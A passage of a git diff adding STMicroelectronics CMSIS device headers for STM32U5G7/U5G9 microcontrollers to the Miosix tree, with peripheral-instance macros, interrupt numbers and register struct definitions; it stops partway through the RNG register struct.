USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S))|| \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : AUTONOMOUS mode ***************************/ +#define IS_UART_AUTONOMOUS_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* OTG FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* OTG FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_HS_NS) || ((INSTANCE) == USB_OTG_HS_S)) + +/******************************* MDF/ADF Instances ****************************/ +#define IS_MDF_ALL_INSTANCE(INSTANCE) (((INSTANCE) == MDF1_Filter0_NS) || ((INSTANCE) == MDF1_Filter0_S) || \ + ((INSTANCE) == MDF1_Filter1_NS) || ((INSTANCE) == MDF1_Filter1_S) || \ + ((INSTANCE) == MDF1_Filter2_NS) || ((INSTANCE) == MDF1_Filter2_S) || \ + ((INSTANCE) == MDF1_Filter3_NS) || ((INSTANCE) == MDF1_Filter3_S) || \ + ((INSTANCE) == MDF1_Filter4_NS) || ((INSTANCE) == MDF1_Filter4_S) || \ + ((INSTANCE) == MDF1_Filter5_NS) || ((INSTANCE) == MDF1_Filter5_S) || \ + ((INSTANCE) == ADF1_Filter0_NS) || ((INSTANCE) == ADF1_Filter0_S)) + +/******************************* GPU2D Instances *******************************/ +#define IS_GPU2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == GPU2D_BASE_NS) || ((__INSTANCE__) == GPU2D_BASE_S)) + +/****************************** JPEG Instances ********************************/ +#define IS_JPEG_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == JPEG_NS) || ((__INSTANCE__) == JPEG_S)) + +/****************************** GFXTIM Instances ********************************/ +#define IS_GFXTIM_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == GFXTIM_NS) || ((__INSTANCE__) == GFXTIM_S)) + + +/** @} */ /* End of group STM32U5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32U5G7xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32U5G7xx_H */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5g9xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5g9xx.h new file mode 100644 index 000000000..b1854ba6b --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u5g9xx.h @@ -0,0 +1,31417 @@ +/** + ****************************************************************************** + * @file stm32u5g9xx.h + * @author MCD Application Team + * @brief CMSIS STM32U5G9xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32U5G9xx_H +#define STM32U5G9xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32U5G9xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32U5G9xx Specific Interrupt Numbers ================================= */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_PVM_IRQn = 1, /*!< PVD/PVM through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + IWDG_IRQn = 27, /*!< IWDG global interrupt */ + SAES_IRQn = 28, /*!< Secure AES global interrupt */ + GPDMA1_Channel0_IRQn = 29, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 30, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 31, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 32, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 33, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 34, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 35, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 36, /*!< GPDMA1 Channel 7 global interrupt */ + ADC1_2_IRQn = 37, /*!< ADC1_2 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + TIM8_BRK_IRQn = 51, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 52, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 53, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 54, /*!< TIM8 Capture Compare interrupt */ + I2C1_EV_IRQn = 55, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 56, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 57, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 58, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 59, /*!< SPI1 global interrupt */ + SPI2_IRQn = 60, /*!< SPI2 global interrupt */ + USART1_IRQn = 61, /*!< USART1 global interrupt */ + USART2_IRQn = 62, /*!< USART2 global interrupt */ + USART3_IRQn = 63, /*!< USART3 global interrupt */ + UART4_IRQn = 64, /*!< UART4 global interrupt */ + UART5_IRQn = 65, /*!< UART5 global interrupt */ + LPUART1_IRQn = 66, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 67, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 68, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 69, /*!< TIM15 global interrupt */ + TIM16_IRQn = 70, /*!< TIM16 global interrupt */ + TIM17_IRQn = 71, /*!< TIM17 global interrupt */ + COMP_IRQn = 72, /*!< COMP1 and COMP2 through EXTI Lines interrupts */ + OTG_HS_IRQn = 73, /*!< USB OTG HS global interrupt */ + CRS_IRQn = 74, /*!< CRS global interrupt */ + FMC_IRQn = 75, /*!< FSMC global interrupt */ + OCTOSPI1_IRQn = 76, /*!< OctoSPI1 global interrupt */ + PWR_S3WU_IRQn = 77, /*!< PWR wake up from Stop3 interrupt */ + SDMMC1_IRQn = 78, /*!< SDMMC1 global interrupt */ + SDMMC2_IRQn = 79, /*!< SDMMC2 global interrupt */ + GPDMA1_Channel8_IRQn = 80, /*!< GPDMA1 Channel 8 global interrupt */ + GPDMA1_Channel9_IRQn = 81, /*!< GPDMA1 Channel 9 global interrupt */ + GPDMA1_Channel10_IRQn = 82, /*!< GPDMA1 Channel 10 global interrupt */ + GPDMA1_Channel11_IRQn = 83, /*!< GPDMA1 Channel 11 global interrupt */ + GPDMA1_Channel12_IRQn = 84, /*!< GPDMA1 Channel 12 global interrupt */ + GPDMA1_Channel13_IRQn = 85, /*!< GPDMA1 Channel 13 global interrupt */ + GPDMA1_Channel14_IRQn = 86, /*!< GPDMA1 Channel 14 global interrupt */ + GPDMA1_Channel15_IRQn = 87, /*!< GPDMA1 Channel 15 global interrupt */ + I2C3_EV_IRQn = 88, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 89, /*!< I2C3 error interrupt */ + SAI1_IRQn = 90, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 91, /*!< Serial Audio Interface 2 global interrupt */ + TSC_IRQn = 92, /*!< Touch Sense Controller global interrupt */ + AES_IRQn = 93, /*!< AES global interrupt */ + RNG_IRQn = 94, /*!< RNG global interrupt */ + FPU_IRQn = 95, /*!< FPU global interrupt */ + HASH_IRQn = 96, /*!< HASH global interrupt */ + PKA_IRQn = 97, /*!< PKA global interrupt */ + LPTIM3_IRQn = 98, /*!< LPTIM3 global interrupt */ + SPI3_IRQn = 99, /*!< SPI3 global interrupt */ + I2C4_ER_IRQn = 100, /*!< I2C4 Error interrupt */ + I2C4_EV_IRQn = 101, /*!< I2C4 Event interrupt */ + MDF1_FLT0_IRQn = 102, /*!< MDF1 Filter 0 global interrupt */ + MDF1_FLT1_IRQn = 103, /*!< MDF1 Filter 1 global interrupt */ + MDF1_FLT2_IRQn = 104, /*!< MDF1 Filter 2 global interrupt */ + MDF1_FLT3_IRQn = 105, /*!< MDF1 Filter 3 global interrupt */ + UCPD1_IRQn = 106, /*!< UCPD1 global interrupt */ + ICACHE_IRQn = 107, /*!< Instruction cache global interrupt */ + OTFDEC1_IRQn = 108, /*!< OTFDEC1 global interrupt */ + OTFDEC2_IRQn = 109, /*!< OTFDEC2 global interrupt */ + LPTIM4_IRQn = 110, /*!< LPTIM4 global interrupt */ + DCACHE1_IRQn = 111, /*!< Data cache global interrupt */ + ADF1_IRQn = 112, /*!< ADF interrupt */ + ADC4_IRQn = 113, /*!< ADC4 (12bits) global interrupt */ + LPDMA1_Channel0_IRQn = 114, /*!< LPDMA1 SmartRun Channel 0 global interrupt */ + LPDMA1_Channel1_IRQn = 115, /*!< LPDMA1 SmartRun Channel 1 global interrupt */ + LPDMA1_Channel2_IRQn = 116, /*!< LPDMA1 SmartRun Channel 2 global interrupt */ + LPDMA1_Channel3_IRQn = 117, /*!< LPDMA1 SmartRun Channel 3 global interrupt */ + DMA2D_IRQn = 118, /*!< DMA2D global interrupt */ + DCMI_PSSI_IRQn = 119, /*!< DCMI/PSSI global interrupt */ + OCTOSPI2_IRQn = 120, /*!< OCTOSPI2 global interrupt */ + MDF1_FLT4_IRQn = 121, /*!< MDF1 Filter 4 global interrupt */ + MDF1_FLT5_IRQn = 122, /*!< MDF1 Filter 5 global interrupt */ + CORDIC_IRQn = 123, /*!< CORDIC global interrupt */ + FMAC_IRQn = 124, /*!< FMAC global interrupt */ + LSECSSD_IRQn = 125, /*!< LSECSSD and MSI_PLL_UNLOCK global interrupts */ + USART6_IRQn = 126, /*!< USART6 global interrupt */ + I2C5_ER_IRQn = 127, /*!< I2C5 Error interrupt */ + I2C5_EV_IRQn = 128, /*!< I2C5 Event interrupt */ + I2C6_ER_IRQn = 129, /*!< I2C6 Error interrupt */ + I2C6_EV_IRQn = 130, /*!< I2C6 Error interrupt */ + HSPI1_IRQn = 131, /*!< HSPI1 global interrupt */ + GPU2D_IRQn = 132, /*!< GPU2D global interrupt */ + GPU2D_ER_IRQn = 133, /*!< GPU2D Error interrupt */ + GFXMMU_IRQn = 134, /*!< GFXMMU global interrupt */ + LTDC_IRQn = 135, /*!< LCD-TFT global interrupt */ + LTDC_ER_IRQn = 136, /*!< LCD-TFT Error interrupt */ + DSI_IRQn = 137, /*!< DSIHOST global interrupt */ + DCACHE2_IRQn = 138, /*!< DCACHE2 Data cache global interrupt */ + GFXTIM_IRQn = 139, /*!< GFXTIM global interrupt */ + JPEG_IRQn = 140 /*!< JPEG sync interrupt */ +} IRQn_Type; + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief AES hardware accelerator + */ +typedef struct +{ + __IO uint32_t CR; /*!< AES control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< AES status register, Address offset: 0x04 */ + __IO uint32_t DINR; /*!< AES data input register, Address offset: 0x08 */ + __IO uint32_t DOUTR; /*!< AES data output register, Address offset: 0x0C */ + __IO uint32_t KEYR0; /*!< AES key register 0, Address offset: 0x10 */ + __IO uint32_t KEYR1; /*!< AES key register 1, Address offset: 0x14 */ + __IO uint32_t KEYR2; /*!< AES key register 2, Address offset: 0x18 */ + __IO uint32_t KEYR3; /*!< AES key register 3, Address offset: 0x1C */ + __IO uint32_t IVR0; /*!< AES initialization vector register 0, Address offset: 0x20 */ + __IO uint32_t IVR1; /*!< AES initialization vector register 1, Address offset: 0x24 */ + __IO uint32_t IVR2; /*!< AES initialization vector register 2, Address offset: 0x28 */ + __IO uint32_t IVR3; /*!< AES initialization vector register 3, Address offset: 0x2C */ + __IO uint32_t KEYR4; /*!< AES key register 4, Address offset: 0x30 */ + __IO uint32_t KEYR5; /*!< AES key register 5, Address offset: 0x34 */ + __IO uint32_t KEYR6; /*!< AES key register 6, Address offset: 0x38 */ + __IO uint32_t KEYR7; /*!< AES key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t 